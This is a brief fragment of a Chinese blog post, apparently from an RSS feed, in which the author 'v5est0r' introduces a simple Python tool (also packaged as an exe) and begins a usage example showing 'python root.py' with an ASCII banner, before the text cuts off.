<p><span class="wpcom_tag_link"><a href="/tags/%e5%b7%a5%e5%85%b7" title="工具" target="_blank">工具</a></span>仅做方便使用，技术含量几乎没有。</p>
<p>用py脚本写的，也打包成exe了，个人用的还算顺手。</p>
<p>用法：</p>
<pre><code>promote:PythonDemo v5est0r$ python root.py
  __            _    __  __       ____   ___  _
 / _|_   _  ___| | _|  \/  |_   _/ ___| / _ \| |
| |_| | | |/ __| |/ / |\/| | | | \___ \| | | | |      Author：v5est0r</code></pre>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
